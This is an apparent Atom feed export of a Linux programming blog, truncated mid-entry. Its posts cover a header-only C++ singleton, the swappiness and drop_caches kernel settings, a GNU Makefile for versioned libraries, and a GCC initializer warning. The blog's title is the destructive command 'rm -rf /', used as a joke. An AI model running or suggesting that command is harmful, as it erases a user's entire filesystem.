<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-37842813</id><updated>2012-01-07T14:26:11.717+05:30</updated><category term='C++'/><category term='make'/><category term='GCC'/><category term='IPC'/><category term='Hack'/><category term='Assignment'/><category term='js'/><category term='juniper'/><category term='Linux'/><category term='C'/><category term='vpn'/><category term='Valgrind'/><category term='Threads'/><category term='Windows'/><category term='BIOS'/><category term='Google'/><title type='text'>rm -rf /</title><subtitle type='html'>My walk through the world of programming with Linux.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>51</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-37842813.post-9042610971032350581</id><published>2012-01-07T14:26:00.000+05:30</published><updated>2012-01-07T14:26:11.733+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Singleton in a header only library</title><content type='html'>Static member variables are inevitable in singleton implementations. If we define the static member variable in the header file and include it in more than one source file, the linker would throw multiple definition errors when trying to link the translation units. So it is a little tricky to design the singleton in header only implementations. Nevertheless it is not difficult.&lt;br /&gt;&lt;br /&gt;C++ allows static members variables of class templates to be defined in more than one translation unit. The linker would merge multiple definitions into one. This is found abundant in the &lt;a href="http://boost.org/" target="_blank"&gt;Boost library&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If we don't want to use the templates, but stick with the definite class approach, then this is one way to achieve singleton in the header only library implementation.&lt;br /&gt;&lt;br /&gt;Log.hpp - This provides a singleton logger instance.&lt;br /&gt;&lt;pre class="brush:cpp; gutter:false;" type="syntaxhighlighter"&gt;#include &lt;iostream&gt;&lt;br /&gt;#include &lt;stdint.h&gt;&lt;br /&gt;&lt;br /&gt;namespace Home { namespace Arun {&lt;br /&gt;&lt;br /&gt;class Log&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;    static void Init(std::string&amp; logPath, std::string&amp; logFilename,&lt;br /&gt;                     int32_t maxFileSize);&lt;br /&gt;    static Log* Instance();&lt;br /&gt;    static void Destroy();&lt;br /&gt;&lt;br /&gt;private:&lt;br /&gt;    static Log* MyInstance(Log* pLog);&lt;br /&gt;&lt;br /&gt;    Log(std::string&amp; logPath, std::string&amp; logFilename, int32_t maxFileSize) :&lt;br /&gt;        m_logPath(logPath),&lt;br /&gt;        m_logFile(logFilename),&lt;br /&gt;        m_maxSize(maxFileSize)&lt;br /&gt;    { }&lt;br /&gt;&lt;br /&gt;    ~Log()&lt;br /&gt;    { }&lt;br /&gt;&lt;br /&gt;    Log(const Log&amp; log);&lt;br /&gt;    Log operator=(const Log&amp; log);&lt;br /&gt;&lt;br /&gt;    std::string m_logPath;&lt;br /&gt;    std::string m_logFile;&lt;br /&gt;    int32_t m_maxSize;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;inline void Log::Init(std::string&amp; logPath, std::string&amp; logFilename,&lt;br /&gt;                      int32_t maxFileSize)&lt;br /&gt;{&lt;br /&gt;    Log* ptr = new Log(logPath, logFilename, maxFileSize);&lt;br /&gt;    MyInstance(ptr);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;inline Log* Log::Instance()&lt;br /&gt;{&lt;br /&gt;    return MyInstance(NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;inline Log* Log::MyInstance(Log* ptr)&lt;br /&gt;{&lt;br /&gt;    static Log* myInstance = NULL;&lt;br /&gt;    if (ptr)&lt;br /&gt;        myInstance = ptr;&lt;br /&gt;    return myInstance;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;inline void Log::Destroy()&lt;br /&gt;{&lt;br /&gt;    Log* pLog = MyInstance(NULL);&lt;br /&gt;    if (pLog)&lt;br /&gt;        delete pLog;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;} }&lt;/pre&gt;&lt;br /&gt;Log.cpp - A sample usage of the above library&lt;br /&gt;&lt;pre class="brush:cpp; gutter:false;" type="syntaxhighlighter"&gt;#include "Log.hpp"&lt;br /&gt;&lt;br /&gt;using namespace Home::Arun;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    std::string logPath = ".";&lt;br /&gt;    std::string logFile = "Test.log";&lt;br /&gt;    Log::Init(logPath, logFile, 1024*1024);&lt;br /&gt;    Log* pLogInst = Log::Instance();&lt;br /&gt;    std::cout &lt;&lt; pLogInst &lt;&lt; std::endl;&lt;br /&gt;    Log::Destroy();&lt;br /&gt;}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-9042610971032350581?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/9042610971032350581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=9042610971032350581&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/9042610971032350581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/9042610971032350581'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2012/01/singleton-in-header-only-library.html' title='Singleton in a header only library'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total><georss:featurename>Bengaluru, Karnataka, India</georss:featurename><georss:point>12.9715987 77.5945627</georss:point><georss:box>12.724026199999999 77.2787057 13.2191712 77.91041969999999</georss:box></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-4804907423259866823</id><published>2011-12-25T03:55:00.000+05:30</published><updated>2012-01-02T19:04:46.113+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>swappiness and drop_caches</title><content type='html'>In high performance computing it is common for applications to have all of the data in the physical memory to meet performance criticality. When multiple processes communicate, as we know, shared memory serves as the fastest way of IPC. Any such typical application would initialize the shared memory by loading the data from the disk into the shared memory. Now a question arises - what is the maximum data size that an application can hold in the physical memory, of course, without swapping.&lt;br /&gt;&lt;br /&gt;For the sake of discussion, if we are given a 64GB of RAM, at max, how many giga byte of physical memory (RAM) can I allocate to my data, keeping in mind that the fewer I allocate, the more boxes I would require to split the data gallery.&lt;br /&gt;&lt;br /&gt;As a test, I wrote a small app to do what I described above. As it loaded around 19 GB of data into the RAM, the kernel started using swap. After loading 25 GB, the swap usage exponentially increased and at one point in time, it stopped responding and I had to physically bounce the box (plug off and plug in again). This din't make sense to me at the beginning.&lt;br /&gt;&lt;br /&gt;At first, why would the kernel swap if there is enough RAM? I did a man proc and searched for "swap". I happened to read about &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;/proc/sys/vm/swappiness&lt;/span&gt; - a parameter which defines the kernel's tendency to swap. The default value of swappiness on RHEL5 is 60. As the "used" RAM size reaches 60% of the total RAM size, the kernel would being to swap.&lt;br /&gt;&lt;br /&gt;In my case, 60% of 64 GB is 38.4 GB. But my data size was 19 GB when the kernel started to swap. Where did the remaining 19GB go, eventually leaving my box in a non-responsive state?! Again intriguing. I could not find the relation between the data size and the memory required to store it.&lt;br /&gt;&lt;br /&gt;Few more runs and a close memory monitoring showed that the kernel caches all the data (yes, almost all the data that are used &lt;b&gt;very recently&lt;/b&gt;). Thus, if an application has loaded 2GB of data into the memory, the kernel would cache 4GB. 2 GB for the actual shared memory data and 2GB of unused cache using which the data was read/copied into the shared memory. On a typical server environment (runlevel 3), you wouldn't expect this to happen, since apart from the main apps no other applications will be running (like yum-updatesd, vlc, rhythmbox, etc). One would expect the kernel to drop the unused cache immediately. proc man page again showed one other important parameter - &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;/proc/sys/vm/drop_caches&lt;/span&gt;. &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;This entry point is helpful in instructing the kernel to drop the unused cache.&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;To free pagecache:&lt;br /&gt;# echo 1 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;&lt;br /&gt;To free dentries and inodes:&lt;br /&gt;# echo 2 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;&lt;br /&gt;To free pagecache, dentries and inodes:&lt;br /&gt;# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;/div&gt;&lt;br /&gt;Mind the space between before the &amp;gt; symbol.&lt;br /&gt;&lt;br /&gt;When an application loads all the data into the memory during its initialization and then never tends to read the disk, drop_caches is a real boon. In my case above, I was able to load 60 GB of data into the shared memory and share it with the other processes. The technique was to clear the cache frequently as the application initialized.&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;while :; do&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; &amp;nbsp; sleep 30&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;done&lt;/div&gt;&lt;br /&gt;As a thumb rule, swappiness must be set to 0 (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;echo 0 &amp;gt; /proc/sys/vm/swappiness &lt;/span&gt;or via &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sysctl.conf&lt;/span&gt;) before the application starts and the drop_caches must be set to 3 periodically to avoid any kind of swaps and performance degradations.&lt;br /&gt;&lt;br /&gt;Once the app has been initialized and all the 60GB has been loaded into the  memory, the while loop to drop the unused cache is not needed and it can  be terminated safely. But the moment you do a huge file read, don't forget  to run the script in the background, of course, as root. The need to drop_caches entirely depends on your application. Setting swappiness to 0 is ideal in my opinion for all the server environments.&lt;br /&gt;&lt;br /&gt;EDIT:&lt;br /&gt;&lt;br /&gt;Here is the vmstat usage for the below content, when the swappiness was set to 60 and drop_caches was not triggered (by default its value will be 0): &lt;a href="http://codepad.org/6pXz0UOH" target="_blank"&gt;http://codepad.org/6pXz0UOH&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;18:46:22 ~/MySpace/files-to-load# ls -l&lt;br /&gt;total 4198384&lt;br /&gt;-rw-r--r-- 1 root root 1073731945 Jan  2 18:39 7&lt;br /&gt;-rw-r--r-- 1 root root 1073731945 Jan  2 18:39 8&lt;br /&gt;-rw-r--r-- 1 root root 1073731945 Jan  2 18:40 9&lt;br /&gt;-rw-r--r-- 1 root root 1073731945 Jan  2 18:40 10&lt;br /&gt;18:46:22 ~/MySpace/files-to-load#&lt;/div&gt;&lt;br /&gt;For the same content, vmstat log when swappiness is set to 0 and frequent echo 3 on drop_caches: &lt;a href="http://codepad.org/9bNwcdbW"&gt;http://codepad.org/9bNwcdbW&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-4804907423259866823?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/4804907423259866823/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=4804907423259866823&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4804907423259866823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4804907423259866823'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2011/12/swappiness-and-dropcaches.html' title='swappiness and drop_caches'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>2</thr:total><georss:featurename>Bengaluru, Karnataka, India</georss:featurename><georss:point>12.9715987 77.5945627</georss:point><georss:box>12.724026199999999 77.2787057 13.2191712 77.91041969999999</georss:box></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-7239973248465729689</id><published>2011-08-27T01:00:00.001+05:30</published><updated>2011-08-27T11:49:08.380+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='make'/><title type='text'>GNU make: sample Makefile</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;At work, when I started to work on the existing projects, I found that the core libraries were committed into the repository of every other SDK. For instance, if liba.so is used by SDK1 and SDK2, the library was found both in SDK1's repo and in SDK2's repo. Since we had varieties of core libraries (which are inturn SDKs to me) cattering different purposes like image decoding, enhancement, extraction, and so on, you can imagine the amount of repo space wasted in having the duplicate copy of these libraries in every repository. Also, whenever my friends in Tokyo release a new version of the library, the convention was to push that library into the repo, there by creating its own changeset. My basic idea was to have a seamless build system for all of the components that we develop and deliver, which will integrate well with the core libraries at build time as well as at runtime. The goal was to build&lt;br /&gt;&lt;br /&gt;1. On 32 and 64 bit Linux.&lt;br /&gt;2. Using specific versions of the core libraries.&lt;br /&gt;&lt;br /&gt;Since this is a very common and simple problem on Linux, I thought I can address this by resorting to the pkg-confing. I tried a couple of examples with it and it worked well. But once the integration of core library version is taken into account, pkgconfig stuff was getting complicated.&lt;br /&gt;&lt;br /&gt;So I decided to have a separate directory structure for the core libraries. &lt;br /&gt;&lt;pre class="brush:c; gutter:false;" type="syntaxhighlighter"&gt;A&lt;br /&gt;|-- doc&lt;br /&gt;|   |-- chm&lt;br /&gt;|   |-- man&lt;br /&gt;|   `-- pdf&lt;br /&gt;|-- include&lt;br /&gt;|-- lib&lt;br /&gt;|   `-- linux&lt;br /&gt;|       |-- 32&lt;br /&gt;|       |   `-- gcc412&lt;br /&gt;|       |       |-- dynamic&lt;br /&gt;|       |       |   |-- debug&lt;br /&gt;|       |       |   `-- release&lt;br /&gt;|       |       `-- static&lt;br /&gt;|       |           |-- debug&lt;br /&gt;|       |           `-- release&lt;br /&gt;|       `-- 64&lt;br /&gt;|           `-- gcc412&lt;br /&gt;|               |-- dynamic&lt;br /&gt;|               |   |-- debug&lt;br /&gt;|               |   `-- release&lt;br /&gt;|               `-- static&lt;br /&gt;|                   |-- debug&lt;br /&gt;|                   `-- release&lt;br /&gt;`-- sample&lt;br /&gt;&lt;/pre&gt;I had two advantages with this approach.&lt;br /&gt;&lt;br /&gt;1. No duplicate copies in the SDKs.&lt;br /&gt;2. No confusion over the core library version differences across SDKs.&lt;br /&gt;&lt;br /&gt;In addition, every SDK can hold a core library version control file, which I termed as Corelibs.cfg. At runtime, preferably during initialization, the SDKs can invoke the get_version API on every library which can be cross verified against its version in the Corelibs.cfg. If there is a version mismatch, the SDK may not proceed further, throwing an exception.&lt;br /&gt;&lt;br /&gt;To achieve all these, I needed a build system and I chose GNU make. Here is a sample Makefile.&lt;br /&gt;&lt;pre class="brush:c; gutter:false;" type="syntaxhighlighter"&gt;mode       := release&lt;br /&gt;CC         := gcc&lt;br /&gt;v          := 0&lt;br /&gt;cov        := 0&lt;br /&gt;arc        := 64&lt;br /&gt;ifeq ($(cov), 0)&lt;br /&gt;else&lt;br /&gt;	COV_CFLAGS = -fprofile-arcs -ftest-coverage&lt;br /&gt;	COV_LFLAGS = -lgcov&lt;br /&gt;endif&lt;br /&gt;&lt;br /&gt;DEFINES = &lt;br /&gt;&lt;br /&gt;# Make sure CORE_LIB_PATH is available.&lt;br /&gt;CORE_LIB_FILE = "Corelibs.cfg"&lt;br /&gt;&lt;br /&gt;# Include variables corresponding to the Corelibs. Populate it from the corelibs version control file.&lt;br /&gt;CORE_COMMON := $$CORE_LIB_PATH/Common/include&lt;br /&gt;A_INC  := $$CORE_LIB_PATH/A/$(shell awk -F" = " '/^A/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/include&lt;br /&gt;B_INC  := $$CORE_LIB_PATH/B/$(shell awk -F" = " '/^B/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/include&lt;br /&gt;C_INC  := $$CORE_LIB_PATH/C/$(shell awk -F" = " '/^C/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/include&lt;br /&gt;D_INC  := $$CORE_LIB_PATH/D/$(shell awk -F" = " '/^D/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/include&lt;br /&gt;E_INC  := $$CORE_LIB_PATH/E/$(shell awk -F" = " '/^E/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/include&lt;br /&gt;F_INC  := $$CORE_LIB_PATH/F/$(shell awk -F" = " '/^F/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/include&lt;br /&gt;# End variable formation&lt;br /&gt;&lt;br /&gt;INCPATH = -isystem $(CORE_COMMON) -isystem $(A_INC) -isystem $(F_INC) \&lt;br /&gt;		  -isystem $(C_INC) -isystem $(D_INC) -isystem $(E_INC) \&lt;br /&gt;		  -isystem $(B_INC)&lt;br /&gt;&lt;br /&gt;A_LIB  := -L$$CORE_LIB_PATH/A/$(shell awk -F" = " '/^A/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/lib/linux/$(arch)/gcc412/dynamic/release&lt;br /&gt;B_LIB  := -L$$CORE_LIB_PATH/B/$(shell awk -F" = " '/^B/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/lib/linux/$(arch)/gcc412/dynamic/release&lt;br /&gt;C_LIB  := -L$$CORE_LIB_PATH/C/$(shell awk -F" = " '/^C/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/lib/linux/$(arch)/gcc412/dynamic/release&lt;br /&gt;D_LIB  := -L$$CORE_LIB_PATH/D/$(shell awk -F" = " '/^D/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/lib/linux/$(arch)/gcc412/dynamic/release&lt;br /&gt;E_LIB  := -L$$CORE_LIB_PATH/E/$(shell awk -F" = " '/^E/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/lib/linux/$(arch)/gcc412/dynamic/release&lt;br /&gt;F_LIB  := -L$$CORE_LIB_PATH/F/$(shell awk -F" = " '/^F/ { print $$2 }' $(CORE_LIB_FILE) 2&amp;gt;/dev/null)/lib/linux/$(arch)/gcc412/dynamic/release&lt;br /&gt;&lt;br /&gt;ifeq ($(mode), release)&lt;br /&gt;	flag := -O2&lt;br /&gt;else&lt;br /&gt;	flag := -g3&lt;br /&gt;endif&lt;br /&gt;CFLAGS += $(flag) -Wall -W -Wextra -Wno-override-init -Werror -std=gnu99&lt;br /&gt;&lt;br /&gt;OBJDIR := .objs&lt;br /&gt;OBJS = $(addprefix $(OBJDIR)/, genutils.o string-funcs.o thread.o http-receiver.o \&lt;br /&gt;         heartbeat.o read-config.o config-settings.o log.o http.o)&lt;br /&gt;&lt;br /&gt;CORE_LIBS = $(A_LIB) -la $(B_LIB) -lb $(C_LIB) -lc $(D_LIB) -ld $(E_LIB) -le $(F_LIB) -lf&lt;br /&gt;EXTERNAL_LIBS = -lcurl&lt;br /&gt;SYSTEM_LIBS = -lpthread&lt;br /&gt;TARGET = sdk1&lt;br /&gt;&lt;br /&gt;.PHONY: all&lt;br /&gt;all: $(TARGET)&lt;br /&gt;&lt;br /&gt;$(OBJS): | $(OBJDIR)&lt;br /&gt;&lt;br /&gt;$(OBJDIR):&lt;br /&gt;	@mkdir -p $(OBJDIR)&lt;br /&gt;&lt;br /&gt;$(OBJDIR)/%.o: %.c&lt;br /&gt;	@if test ! -d $$CORE_LIB_PATH; then echo "Invalid CORE_LIB_PATH: $$CORE_LIB_PATH. Please make sure the directory exists."; exit 1; fi&lt;br /&gt;	@if test ! -f $(CORE_LIB_FILE); then echo "Invalid $(CORE_LIB_FILE). Please make sure the core library version control file exists."; exit 1; fi&lt;br /&gt;ifeq ($(v), 0)&lt;br /&gt;	@echo "[$(CC)]	$(@F)"&lt;br /&gt;	@$(CC) -c -m$(arch) $(CFLAGS) $(INCPATH) $(COV_CFLAGS) $(DEFINES) -o $@ $^&lt;br /&gt;else&lt;br /&gt;	$(CC) -c -m$(arch) $(CFLAGS) $(INCPATH) $(COV_CFLAGS) $(DEFINES) -o $@ $^&lt;br /&gt;endif&lt;br /&gt;&lt;br /&gt;$(TARGET): $(OBJS)&lt;br /&gt;ifeq ($(v), 0)&lt;br /&gt;	@echo "[$(CC)]	$(@F)"&lt;br /&gt;	@$(CC) -m$(arch) $(LD_FLAGS) -o $@ $(OBJS) $(SYSTEM_LIBS) $(EXTERNAL_LIBS) $(CORE_LIBS) $(COV_LFLAGS)&lt;br /&gt;else&lt;br /&gt;	$(CC) -m$(arch) $(LD_FLAGS) -o $@ $(OBJS) $(SYSTEM_LIBS) $(EXTERNAL_LIBS) $(CORE_LIBS) $(COV_LFLAGS)&lt;br /&gt;endif&lt;br /&gt;&lt;br /&gt;clean:&lt;br /&gt;	find . -name "*.o" -o -name "*.gcno" -o -name "*.gcda" -o -name "*.info" | xargs rm -f&lt;br /&gt;	rm -f $(TARGET)&lt;br /&gt;&lt;/pre&gt;As you can see, the above Makefile takes care of most of the things, starting from linking with the version of the libraries mentioned in the Corelibs.cfg, code coverage, releasing debug or release version of the SDK. When we need to run the above SDK, we can have a shell script that parses the Corelibs.cfg and sets its LD_LIBRARY_PATH to the corresponding paths.&lt;br /&gt;&lt;br /&gt;Although it may seem a little complicated for beginners, this will become very simple if we understand the GNU make's variables and conventions.&lt;br /&gt;&lt;br /&gt;1. $$VAR - An environment variable that needs to be used inside the makefile will have this notation. ie, you override the $ with a $$.&lt;br /&gt;2. $(VAR) - Normal variable in Makefile.&lt;br /&gt;3. shell - envokes a shell&lt;br /&gt;4. ifeq, else, endif - GNU make internal variables.&lt;br /&gt;&lt;br /&gt;I din't want to include the unit tests into the Makefile and make it look cluttered, as we have the habit of copying a standardized Makefile like this across the projects.&lt;br /&gt;&lt;br /&gt;When you want to build, you can do the following:&lt;br /&gt;&lt;pre class="brush:c; gutter:false;" type="syntaxhighlighter"&gt;make clean &amp;&amp; make&lt;br /&gt;make clean &amp;&amp; make mode=debug arch=32 v=1 cov=1&lt;br /&gt;&lt;/pre&gt;Unfortunately, we don't have such a powerful tool on Windows. Inspite of writing a highly portable C/C++ code, when compared with building, running and releasing the SDK on Linux, doing the same thing on Windows is a time consuming job.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-7239973248465729689?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/7239973248465729689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=7239973248465729689&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7239973248465729689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7239973248465729689'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2011/08/gnu-make-sample-makefile.html' title='GNU make: sample Makefile'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>3</thr:total><georss:featurename>Bengaluru, Karnataka, India</georss:featurename><georss:point>12.9715987 77.5945627</georss:point><georss:box>12.9715987 77.5945627 12.9715987 77.5945627</georss:box></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-8918817392980008152</id><published>2011-08-20T04:30:00.000+05:30</published><updated>2011-08-27T01:00:54.277+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='GCC'/><title type='text'>GCC 4.5.2 warning: initialized field overwritten</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;GCC is my favourite compiler, obviously because, its open source, GPL and it&amp;nbsp; builds Linux. I prefer to use -Wall -Wextra -W -Werror options as it captures most of the bugs before in hand.&lt;br /&gt;&lt;br /&gt;I have been working on the new XIM (extreme identity matcher) development very recently.  I wanted to override the default initialization values that I gave to my struct with a local value - similar to the constructors for local objects in C++.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;The code roughly looks like this. &lt;br /&gt;&lt;pre class="brush: c;gutter: false;" type="syntaxhighlighter"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;struct A {&lt;br /&gt;    int x;&lt;br /&gt;    int y;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;#define A_DEFAULTS .x = 0, .y = 0&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;    struct A a = {&lt;br /&gt;        A_DEFAULTS,&lt;br /&gt;        .y = 3&lt;br /&gt;    };&lt;br /&gt;    printf("a.x: %d a.y: %d\n", a.x, a.y);&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;The code compiles well without -W or -Wextra options. Once the extra warning flags are added, GCC starts throwing error:  &lt;br /&gt;&lt;pre class="brush: c;gutter: false;" type="syntaxhighlighter"&gt;04:20:38:~/Programs$ gcc 1.c -o 1 -Wall -W -Werror -std=c99&lt;br /&gt;cc1: warnings being treated as errors&lt;br /&gt;1.c: In function ‘main’:&lt;br /&gt;1.c:23:9: error: initialized field overwritten&lt;br /&gt;1.c:23:9: error: (near initialization for ‘a.y’)&lt;br /&gt;04:20:43:~/Programs$ &lt;br /&gt;&lt;/pre&gt;Totally weird. I know that this is a valid construct. Since I prefer to use -Werror switch, my code won't even compile and I'm forced to remove the switch.  This may be a bug in GCC. I'm not sure. Although it won't break my design, I don't want to assign the values to my structure members after the structure members are initialized. BTW, I'm running Ubuntu 11.04 with GCC 4.5.2.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Section 6.7.8 of &lt;a href="http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1256.pdf"&gt;C99 standards&lt;/a&gt; clearly mentions the following about initializer list:&lt;br /&gt;&lt;blockquote&gt;The initialization shall occur in initializer list order, each initializer provided for a particular subobject overriding any previously listed initializer for the same subobject; all subobjects that are not initialized explicitly shall be initialized implicitly the same as objects that have static storage duration.&lt;br /&gt;&lt;br /&gt;Any initializer for the subobject which is overridden and so not used to initialize that subobject might not be evaluated at all.&lt;/blockquote&gt;I would like to highlight the point here:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Any initializer for the subobject which is overridden and so not used to initialize that subobject might not be evaluated at all.&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-8918817392980008152?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/8918817392980008152/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=8918817392980008152&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/8918817392980008152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/8918817392980008152'/><link rel='alternate' type='text/html' 